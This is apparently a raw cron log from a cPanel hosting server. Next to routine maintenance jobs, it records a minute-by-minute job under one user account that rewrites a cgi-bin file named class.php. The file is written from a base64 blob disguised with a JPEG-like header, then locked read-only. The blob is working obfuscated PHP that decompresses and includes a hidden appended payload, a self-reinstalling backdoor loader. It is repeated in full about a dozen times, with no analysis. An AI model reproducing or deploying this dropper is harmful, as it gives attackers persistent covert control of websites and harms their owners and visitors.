Nov 12 12:44:01 server CROND[19992]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 12:45:01 server CROND[20630]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 12:45:01 server CROND[20631]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 12:45:01 server CROND[20632]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 12:46:01 server CROND[21500]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 12:47:01 server CROND[22403]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 12:48:01 server CROND[23058]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 12:49:01 server CROND[23866]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 12:50:01 server CROND[24697]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 12:50:01 server CROND[24700]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 12:50:01 server CROND[24702]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 12:50:01 server CROND[24703]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 12:50:01 server CROND[24701]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 12:51:01 server CROND[25580]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 12:52:01 server CROND[26356]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 12:53:01 server CROND[27229]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 12:54:01 server CROND[28042]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 12:55:01 server CROND[28864]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 12:55:01 server CROND[28865]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 12:55:01 server CROND[28866]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 12:56:01 server CROND[29756]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
